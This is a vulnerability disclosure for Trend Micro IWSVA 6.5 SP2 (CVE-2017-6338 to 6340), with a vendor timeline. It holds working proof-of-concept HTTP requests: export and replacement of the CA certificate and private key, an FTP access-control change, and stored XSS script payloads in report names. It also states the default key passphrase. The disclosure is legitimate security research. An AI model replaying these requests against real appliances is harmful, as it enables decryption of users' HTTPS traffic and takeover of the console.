Trend Micro Interscan Web Security Virtual Appliance IWSVA 6.5 SP2 XSS Disclosure

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Category: Vulnerabilities
Hits: 1164
# Exploit Title: [Trend Micro Interscan Web Security Virtual Appliance (IWSVA) 6.5.x Multiple Vulnerabilities]
# Date: [12/01/2017]
# Exploit Author: [SlidingWindow] # Exploit Title: [Trend Micro Interscan Web Security Virtual Appliance (IWSVA) 6.5.x Multiple Vulnerabilities]
# Date: [12/01/2017]
# Exploit Author: [SlidingWindow] , Twitter: @Kapil_Khot
# Vendor Homepage: [http://www.trendmicro.com/us/enterprise/network-security/interscan-web-security/virtual-appliance/]
# Version: [Tested on IWSVA 6.5-SP2 Critical Patch Build 1739 and prior versions in 6.5.x series. Older versions may also be affected]
# Tested on: [IWSVA 6.5-SP2 Critical Patch Build 1739]
# CVE : [CVE-2017-6338,CVE-2017-6339,CVE-2017-6340]
# Vendor Security Bulletin: https://success.trendmicro.com/solution/1116960

==================
#Product:-
==================
Trend Micro aInterScan Web Security Virtual Appliance (IWSVA)a is a secure web gateway that combines application control with zero-day exploit detection, advanced anti-malware and ransomware scanning, real-time web reputation, and flexible URL filtering to provide superior Internet threat protection.

==================
#Vulnerabilities:-
==================
Multiple Incorrect Access Control,Stored Cross Site Scripting, and Sensitive Information Disclosure vulnerabilities

========================
#Vulnerability Details:-
========================

=============================================================================================================================
Sensitive Information Disclosure Vulnerability (CVE-2017-6339):-
=============================================================================================================================

Per IWSVA documentation, by default, IWSVA acts as a private Certificate Authority (CA) and dynamically generates digital certificates that are sent to client browsers to complete a secure passage for HTTPS connections. It also allows administrators to upload their own certificates signed by root CA. An attacker with low privileges can download current CA certificate and Private Key (either the default ones or uploaded by administrators) and use those to decrypt HTTPS traffic thus compromising confidentiality.
Also, the default Private Key on this appliance is encrypted with very weak and guessable passphrase atrenda. If an appliance uses default Certificate and Private Key provided by Trend Micro, an attacker can simply download these and decrypt the Private Key using default passphrase atrenda.

#Proof-of-Concept:

1. Log into IWSVA web console with least privilege user.
2. Send following POST requests:

Request#1: Download 'get_current_ca_cert.cer'

POST /servlet/com.trend.iwss.gui.servlet.XMLRPCcert?action=exportcert HTTP/1.1
Host: 192.168.253.150:1812 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=<SessionID>
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 147

CSRFGuardToken=<Token>&op=save&defaultca=no&importca_certificate=&importca_key=&importca_passphrase=&importca_2passphrase=


Request#2: Download 'get_current_ca_key.cer'

POST /servlet/com.trend.iwss.gui.servlet.XMLRPCcert?action=exportkey HTTP/1.1
Host: 192.168.253.150:1812
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=<SessionID>
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 147

CSRFGuardToken=<Token>&op=save&defaultca=no&importca_certificate=&importca_key=&importca_passphrase=&importca_2passphrase=

3.Decrypt the Private Key using passphrase atrenda.


=============================================================================================================================
Multiple Incorrect Access Control Vulnerabilities (CVE-2017-6338):
=============================================================================================================================

#1. Missing functional level access control allows a low privileged user upload HTTPS Decryption Certificate and Private Key:
-----------------------------------------------------------------------------------------------------------------------------

Per IWSVA documentation, by default, IWSVA acts as a private Certificate Authority (CA) and dynamically generates digital certificates that are sent to client browsers to complete a secure passage for HTTPS connections. It also allows administrators to upload their own certificates signed by root CA.
An attacker with low privileges can upload new CA certificate and Private Key and use those to decrypt HTTPS traffic thus compromising confidentiality.

#Proof-of-Concept:

1. Log into IWSVA web console with least privilege user aTest2a.
2. Send following POST request:

Request#1:

POST /servlet/com.trend.iwss.gui.servlet.XMLRPCcert?action=import HTTP/1.1
Accept: text/html, application/xhtml+xml, image/jxr, */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko
Content-Type: multipart/form-data; boundary=---------------------------7e11fd2fd0ac0
Accept-Encoding: gzip, deflate
Content-Length: 4085
Host: 192.168.253.150:1812
Pragma: no-cache
Cookie: JSESSIONID=E595855EF5900782921945280ABA46CD
Connection: close

-----------------------------7e11fd2fd0ac0
Content-Disposition: form-data; name="CSRFGuardToken"

S8PM5QG974XLWS992MCK5M67T6D0A575
-----------------------------7e11fd2fd0ac0
Content-Disposition: form-data; name="op"

save
-----------------------------7e11fd2fd0ac0
Content-Disposition: form-data; name="defaultca"
no
-----------------------------7e11fd2fd0ac0
Content-Disposition: form-data; name="importca_certificate"; filename="get_current_ca_cert(2).cer"
Content-Type: application/x-x509-ca-cert

-----BEGIN CERTIFICATE-----
---snip---
-----END CERTIFICATE-----

-----------------------------7e11fd2fd0ac0
Content-Disposition: form-data; name="importca_key"; filename="get_current_ca_key(1).cer"
Content-Type: application/x-x509-ca-cert

-----BEGIN RSA PRIVATE KEY-----
---snip---
-----END RSA PRIVATE KEY-----

-----------------------------7e11fd2fd0ac0
Content-Disposition: form-data; name="importca_passphrase"

trend
-----------------------------7e11fd2fd0ac0
Content-Disposition: form-data; name="importca_2passphrase"

trend
-----------------------------7e11fd2fd0ac0--

3. Above request will delete/remove existing certificates and add new one. To confirm if the certificate and private key were uploaded successfully, log in with Administrator account and download the certificate/key. These should be the ones that you uploaded.


#2. Missing functional level access control allows an authenticated user change FTP access control setting
-----------------------------------------------------------------------------------------------------------------------------
An attacker with read only rights can change aFTP Access Control Settingsa by sending a specially crafted POST request.

#Proof-of-Concept:

1.Log into IWSVA web console with least privilege user aAuditora.
2.Send following POST request:

Request#1:

POST /ftp_clientip.jsp HTTP/1.1
Host: 192.168.253.150:1812
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.253.150:1812/ftp_clientip.jsp
Cookie: JSESSIONID=<SessionID>
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 250

CSRFGuardToken=<Token>&op=save&change_op=nochanged&daemonaction=8&input_tips=40+characters+maximum&ftp__use_client_acl=yes&use_client_acl_view=yes&inputtype=ip&ip=192.168.253.133&desc=Ubuntu&itemlist=192.168.253.133+%3BUbuntu

3. This enables FTP access.
4. Log into IWSVA web console as admin from another browser and check to see if FTP Access Control List has been updated.



#3. Missing functional level access control allows an Auditor user create/modify reports
-----------------------------------------------------------------------------------------------------------------------------
An authenticated, remote attacker with aAuditora role assigned to him/her, can modify existing reports or create a new one. This user can also exploit the stored cross-site scripting vulnerability mentioned above.

#Proof-of-Concept:

1. Log into IWSVA web console with least privilege user aAuditora.
2. Send following POST requests:


Request#1:

POST /rest/commonlog/report/template HTTP/1.1
Host: 192.168.253.150:1812
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.253.150:1812/report_action.jsp?CSRFGuardToken=<Token>&mode=add
Content-Length: 92
Cookie: JSESSIONID=<SessionID>
Connection: close

{"action":"check_name","name":"AuditorsReport<script>alert("Hola Auditor!")</script>"}


Request#2:

POST /rest/commonlog/report/template HTTP/1.1
Host: 192.168.253.150:1812
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.253.150:1812/report_action.jsp?CSRFGuardToken=<Token>&mode=add
Content-Length: 2877
Cookie: JSESSIONID=<SessionID>
Connection: close

{"action":"add","template":{"reports":{"internet_security":[["top_malware_spyware_detection",10,true,[0]],["top_botnet_detection",10,true,[0]],["top_advanced_threats_detection",10,true,[0]],["top_custom_defense_apt_blocking",10,true,[0]],["c&c_contact_alert_count_by_date",0,true,[0]],["top_c&c_contact_ip_domains",10,true,[0]],["top_users_hosts_detected_by_c&c_contact_alert",10,true,[0]],["top_groups_detected_by_c&c_contact_alert",10,true,[0]],["top_malicious_sites_blocked",10,true,[0]],["top_users_blocked_by_malware_spyware",10,true,[0]],["top_users_blocked_by_malicious_sites",10,true,[0]],["top_groups_blocked_by_malware_spyware",10,true,[0]],["top_groups_blocked_by_malicious_site",10,true,[0]],["top_users_by_bot_net_detection",10,true,[0]],["most_violation_for_http_malware_scan_policy",0,true,[0]],["malicious_sites_blocked_by_date",0,true,[2]],["malware_spyware_detection_by_date",0,true,[2]],["malware_spyware_detection_trend",0,true,[3]]],"internet_access":[["top_applications_visited",10,true,[0]],["top_url_categories_visited",10,true,[0]],["top_sites_visited",10,true,[0]],["top_users_by_requests",10,true,[0]],["top_groups_by_requests",10,true,[0]],["top_url_categories_by_browse_time",10,true,[0]],["top_sites_visited_by_browse_time",10,true,[0]],["top_users_by_browse_time",10,true,[0]],["activity_level_by_days",0,true,[5]]],"bandwidth":[["top_url_categories_by_bandwidth",10,true,[0]],["top_applications_by_bandwidth",10,true,[0]],["top_users_by_bandwidth",10,true,[0]],["top_groups_by_bandwidth",10,true,[0]],["top_sites_by_bandwidth",10,true,[0]],["total_traffic_by_days",0,true,[3]]],"policy_enforcement":[["top_url_categories_blocked",10,true,[0]],["top_applications_blocked",10,true,[0]],["top_users_enforced",10,true,[0]],["top_groups_enforced",10,true,[0]],["top_sites_blocked",10,true,[0]],["top_users_by_http_inspection",10,true,[0]],["most_violation_for_url_filtering_policy",0,true,[0]],["most_violation_for_application_control_policy",0,true,[0]],["most_violation_for_access_quota_control_policy",0,true,[0]],["most_violation_for_applets_and_activex_policy",0,true,[0]],["most_violation_for_http_inspection_policy",0,true,[0]]],"data_security":[["top_dlp_templates_blocked_by_requests",10,true,[2]],["top_blocked_users",10,true,[0]],["top_blocked_groups",10,true,[0]],["most_violation_for_data_loss_prevention_policy",0,true,[0]]],"custom_reports":[]},"mail_to":[""],"fail_mail_to":""],"description":"","name":"AuditorsReport,"enable":true,"frequency":0,"scheduled":false,"start_date":1484170920,"runtime":"0:3:12","max_exec_number":0,"period":"1D","from":1484159400,"to":1484245800,"scheduled_time_filter":"0","device_group":"","type":"PDF","list_number":10,"mail_enable":false,"mail_from":"","subject":"","message":"","mail_attach":false,"fail_notice":false,"report_by":0,"report_by_list":{}}}



=============================================================================================================================
Stored Cross Site Scripting (CVE-2017-6340):
=============================================================================================================================
An authenticated, remote attacker can inject a Java script while creating a new report that results in a stored cross-site scripting attack.

#Proof-of-Concept:

1. Log into IWSVA web console with least privilege user aAuditora.
2. Send following POST requests:

Request#1:

POST /rest/commonlog/report/template HTTP/1.1
Host: 192.168.253.150:1812
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.253.150:1812/report_action.jsp?CSRFGuardToken=EPCB6FAIRAK4393A74A9SYCRKR2C6VZM&mode=edit&tid=19b59380-4a41-4134-81af-f7e2e6ce06d9
Content-Length: 88
Cookie: JSESSIONID=5F8A705062C1D9C14B0026F8C89D5CC8
Connection: close

{"action":"check_name","name":"TestReport1<script>alert("Hola Report!")</script>"}

Request#2:

POST /rest/commonlog/report/template HTTP/1.1
Host: 192.168.253.150:1812
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.253.150:1812/report_action.jsp?CSRFGuardToken=EPCB6FAIRAK4393A74A9SYCRKR2C6VZM&mode=edit&tid=19b59380-4a41-4134-81af-f7e2e6ce06d9
Content-Length: 3041
Cookie: JSESSIONID=5F8A705062C1D9C14B0026F8C89D5CC8
Connection: close

{"action":"modify","tid":"19b59380-4a41-4134-81af-f7e2e6ce06d9","template":{"tid":"19b59380-4a41-4134-81af-f7e2e6ce06d9","name":"TestReport1<script>alert("Hola Report!")</script>","description":"","enable":true,"period":"1D","from":-2209096400,"to":-2209096400,"frequency":0,"scheduled":false,"start_date":1481060520,"runtime":"0:0:0","max_exec_number":0,"type":"PDF","list_number":10,"mail_enable":false,"mail_from":"","mail_to":[""],"subject":"","message":"","mail_attach":false,"fail_notice":false,"fail_mail_to":[""],"report_by":0,"report_by_list":{},"reports":{"internet_security":[["top_malware_spyware_detection",10,true,[0]],["top_botnet_detection",10,true,[0]],["top_advanced_threats_detection",10,true,[0]],["top_custom_defense_apt_blocking",10,true,[0]],["c&c_contact_alert_count_by_date",0,true,[0]],["top_c&c_contact_ip_domains",10,true,[0]],["top_users_hosts_detected_by_c&c_contact_alert",10,true,[0]],["top_groups_detected_by_c&c_contact_alert",10,true,[0]],["top_malicious_sites_blocked",10,true,[0]],["top_users_blocked_by_malware_spyware",10,true,[0]],["top_users_blocked_by_malicious_sites",10,true,[0]],["top_groups_blocked_by_malware_spyware",10,true,[0]],["top_groups_blocked_by_malicious_site",10,true,[0]],["top_users_by_bot_net_detection",10,true,[0]],["most_violation_for_http_malware_scan_policy",0,true,[0]],["malicious_sites_blocked_by_date",0,true,[2]],["malware_spyware_detection_by_date",0,true,[2]],["malware_spyware_detection_trend",0,true,[3]]],"internet_access":[["top_applications_visited",10,true,[0]],["top_url_categories_visited",10,true,[0]],["top_sites_visited",10,true,[0]],["top_users_by_requests",10,true,[0]],["top_groups_by_requests",10,true,[0]],["top_url_categories_by_browse_time",10,true,[0]],["top_sites_visited_by_browse_time",10,true,[0]],["top_users_by_browse_time",10,true,[0]],["activity_level_by_days",0,true,[5]]],"bandwidth":[["top_url_categories_by_bandwidth",10,true,[0]],["top_applications_by_bandwidth",10,true,[0]],["top_users_by_bandwidth",10,true,[0]],["top_groups_by_bandwidth",10,true,[0]],["top_sites_by_bandwidth",10,true,[0]],["total_traffic_by_days",0,true,[3]]],"policy_enforcement":[["top_url_categories_blocked",10,true,[0]],["top_applications_blocked",10,true,[0]],["top_users_enforced",10,true,[0]],["top_groups_enforced",10,true,[0]],["top_sites_blocked",10,true,[0]],["top_users_by_http_inspection",10,true,[0]],["most_violation_for_url_filtering_policy",0,true,[0]],["most_violation_for_application_control_policy",0,true,[0]],["most_violation_for_access_quota_control_policy",0,true,[0]],["most_violation_for_applets_and_activex_policy",0,true,[0]],["most_violation_for_http_inspection_policy",0,true,[0]]],"data_security":[["top_dlp_templates_blocked_by_requests",10,true,[2]],["top_blocked_users",10,true,[0]],["top_blocked_groups",10,true,[0]],["most_violation_for_data_loss_prevention_policy",0,true,[0]]],"custom_reports":[]},"last_gen_time":1481103598,"current_exec_time":1,"scheduled_time_filter":"0","device_group":"","last_update_by":"test2"}}

3.Any user visiting 'reports.jsp' and 'show_auditlog.jsp' pages will see the alert.


===================================
#Vulnerability Disclosure Timeline:
===================================

15/02/2017: First email to disclose the vulnerability to the Trend Micro incident response team
20/02/2017: Second email to ask for acknowledgment
23/02/2017: Third email to ask for acknowledgment
25/02/2017 Vendor confirms vulnerabilities stating that the fix is being worked on.
27/02/2017: Mitre assigned CVE-2017-6338, CVE-2017-6339 and CVE-2017-6340 to these vulnerabilities
14/03/2017: Vendor confirms that the final release date would be disclosed soon.
28/03/2017: Vendor released security advisory: https://success.trendmicro.com/solution/1116960